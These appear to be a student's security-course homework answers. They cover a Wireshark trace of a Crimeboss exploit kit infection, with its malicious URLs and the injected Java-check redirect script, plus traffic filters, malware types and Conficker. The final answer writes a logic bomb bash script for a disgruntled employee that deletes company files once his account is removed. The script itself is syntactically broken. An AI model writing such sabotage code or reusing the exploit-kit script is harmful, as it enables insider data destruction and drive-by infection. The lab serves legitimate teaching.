**QUESTION 2**

1. After completing the HW2\_Lab, which exploit kit did the victim come into contact with?

The victim come into contact with one of web exploit kit, Crimeboss Exploit kit.

It has a typical Crimeboss Infection sequence: redirector--> exploit pack--> java exploits--> payloads.

HTTP Request Method = GET

the gate for its exploit kit and it URI strings:

* abrahamspath.org.uk/favicon.ico
* abrahamspath.org.uk/cb.php
* abrahamspath.org.uk//cb.php?action=jv&h=608299343

Here is its exploit chain:

Redirector from compromised web site:

* criagift.com.br/jex/index.php?setup=d&s=2&r=900013
* criagift.com.br /jex/index.php?setup=d

Main Crimebosslanding pace, checks Java:

* criagift.com.br/jex/index.php?action=stats\_loaded
* criagift.com.br/jex/index.php?action=stats\_javaon
* criagift.com.br/jex/index.php?action=stats\_access

Java exploits delivered:

* danieldelaney.com/jex/java7.jar?r=463779
* danieldelaney.com/jex/amor1.jar

Payload Executable Downloaded:

* uploads.boxify.me/97844/Laine.lora?1357412773

### QUESTION 3

1. In the HW2\_Lab, explain what is happening in the TCP Stream from Frame 35.  Remember, you need to right click on Frame 35 and select "Follow TCP Stream."  Your answer should include at least 6 items that you noticed based on your analysis.
2. 1. This is a typical TCP three handshank. It happened between the victim, 192.168.1.133 and the malicious server, 173.254.28.55.
3. 2. The victim send the firs GET request to http://abrahamspath.org.uk/cb.php. cb.php is the initial Exploit Kit script.
4. During the request, we will know the malicious server' HTTP referer is http://abrahamspath.org.uk/cb.php and the host is criagift.com.br.
5. 3. Then, the victim received the respond form the malicious server. "HTTP/1.1 200 OK" means the GET request download from the malicious server  was successful.
6. There are some javescript codes which we need to notice in the respond.
7. if(navigator.javaEnabled()) {document.write('<sc' + 'ri' + 'pt src="http://criagift.com.br/jex/index.php?setup=d&s=2&r=' + Math.floor(100000 + (Math.random()\*999999 + 1)) + '" type="text/javascript" charset="iso-8859-1"></sc' + 'ri' + 'pt>');}
8. The malicious server wants to check the victim's Java if enable. If enable, the victim will be redirected to http://criagift.com.br/jex/index.php.
9. 4. Next, the victim sent the second GET request. "GET /jex/index.php?setup=d&s=2&r=900013 HTTP/1.1"
10. 5. Then, it the turn for respond.  The victim received the second respond form the malicious server. The following javescript codes proves that the  malicious server found that Java was enabled in the victim's browser and the redirection happened. It went to http://criagift.com.br.
11. var jsm\_lab\_on..= true;var jsm\_lab\_access.= 'http://criagift.com.br/jex/index.php?action=stats\_access';
12. var jsm\_lab\_javaon.= 'http://criagift.com.br/jex/index.php?action=stats\_javaon';
13. var jsm\_lab\_javaoff.= 'http://criagift.com.br/jex/index.php?action=stats\_javaoff';
14. var jsm\_lab\_loaded.= 'http://criagift.com.br/jex/index.php?action=stats\_loaded';
15. var jsm\_lab\_loadfail.= 'http://criagift.com.br/jex/index.php?action=stats\_loadfail';
16. The following codes tell us that the web browser was not showing the URL, http://danieldelaney.com/jex/ which the victim wanted to.
17. var jsm\_loaded...= false;
18. var jsm\_applet\_index.= 1;
19. var jsm\_applet\_count.= 20;
20. var jsm\_applet\_prefix.= 'amor';
21. var jsm\_applet\_url.= 'http://danieldelaney.com/jex/';
22. 6. Now, it is the last request form the victim."GET /jex/index.php?action=stats\_access HTTP/1.1"
23. 7. Next, it is the last respond from the malicious server. "HTTP/1.1 200 OK" means the GET request was successful and these two servers had build up a connection.

**QUESTION 4**

|  |
| --- |
| In the HW\_2 Lab, create a filter that only shows traffic from any host using the HTTP protocol.  Type the filter as the answer to this question. |

http

**QUESTION 5**

|  |
| --- |
| In the HW\_2 Lab, create a filter that only shows traffic from any host using the HTTP protocol but eliminate the SSDP traffic .  Type the filter as the answer to this question. |
|  |

http && ! udp

**QUESTION 6**

|  |
| --- |
| In the HW\_2 Lab, create a filter that only shows traffic using the HTTP protocol and only shows traffic going back and forth between the specific victim's IP address and any remote servers the victim connected to.  Type the filter as the answer to this question. |
|  |

ip.addr == 192.168.1.133 && http

**QUESTION 7**

|  |
| --- |
| In the HW\_2 Lab, create a filter that only shows HTTP protocol traffic that the victim's IP is transmitting to any destination.  (We do not want to see traffic of servers transmitting back to the victim.)  Type the filter as the answer to this question. |
|  |

ip.src == 192.168.1.133 && http

### QUESTION 8

1. In the HW2 Lab, create a filter that only shows the server responses with an http status of 200.   Type the filter as the answer to this question.

http.response.code == 200

### QUESTION 10

1. What is the difference between Viruses, Worms, and Trojans?  You answer should include details about propation method and payloads.

•Virus：Almost always attached to an executable file

* Propagates：only when infected software or document is transferred to another computer by a user via Email attachment, USB Drive, Network File Share, etc
* Payload:
* Infect/overwrite other software or documents with copies of itself
* Erase files and programs
* Reformat hard disk

•Worm：Seeks out computers to infect and each infected computer acts as automated launching pad for attacks on even more computers.

•Propagates via:

* Network connections, shared media, can email copy of itself
* Worm macro inside Word, Excel, PP documents

Payload:

* Creation of backdoor
* Turns computers into spam engines
* Can disable security software
* Damage systems
* Cause Denial of Service (DoS) attacks

•Trojan Horse: Malicious software that appears to be legitimate

•Propagates via user interaction:

* Opening email attachments
* Downloading and executing a file from the internet

•Payloads:

* Data theft or loss
* Creation of backdoor
* Downloading of other malware

The differences:

* Viruses cannot propagate on their own!
* Unlike Viruses, Worms propagate on their own!
* Trojans do not self replicate like Worms or reproduce by infecting other files like Viruses

### QUESTION 11

### Why does the Conficker worm use IP address querying sites to collect the IP address of the infected victim?

When the victims use these querying sites, their ip addresses will be carefully tracked and saved in databases . Conficker is easy to get the data.

### QUESTION 12

1. Rami Patel is a disgruntled user of FakeCorp who senses he may be fired soon.  He wants you to create a Logic Bomb for him that will delete the company's secret documents in the event he is terminated.

1.  In Linux, create a directory off of /var called secretdocs.  So the path should be /var/secretdocs.

2.  Create two text files in that folder called companysecrets and companyexpenses.

3.  Create a user named rpatel.

4.  Create a basic logic bomb in Linux with a bash script that deletes the contents of the /var/secretdocs folder if the rpatel user is deleted.

5.  Test your script by deleting the rpatel user and ensuring that the two files in /var/secretdocs are deleted.

Copy and paste your working bash script code into the answer section to complete this question.

(5 pts extra credit if you can include functionality to delete the Logic Bomb script after execution and delete any traces of the script executing.)

root@448k-01:~# cd /var

root@448k-01:/var# mkdir secretdocs

root@448k-01:/var# cd secretdocs

root@448k-01:/var/secretdocs# touch companysecrets.txt

root@448k-01:/var/secretdocs# touch companyexpenses.txt

root@448k-01:/var/secretdocs# ls

companysecrets.txt companyexpenses.txt

root@448k-01:/var/secretdocs# cd ~

root@448k-01:~# useradd rpatel

root@448k-01:~# passwd rpatel

Enter new UNIX password:

Retype new UNIX password:

passwd:password upadted successfully

root@448k-01:~# grep rpatel /etc/passwd

rpatel :x:1000:1000::/home/rpatel:/bin/sh

root@448k-01:~#vi bomb.sh

#!/bin/sh

#This is a logic bomb

while:

do

    if ! grep --quiet "rpatel" /etc/passwd

    then rm companysecrets.txt companyexpenses.txt

    exit

    fi

done

root@448k-01:~#chmod u+x bomb.sh

root@448k-01:~# ./bomb.sh &

root@448k-01: ~#   jobs

[1]+ Running        ./bomb.sh &

root@448k-01: ~# userdel rpatel

{1]+ Done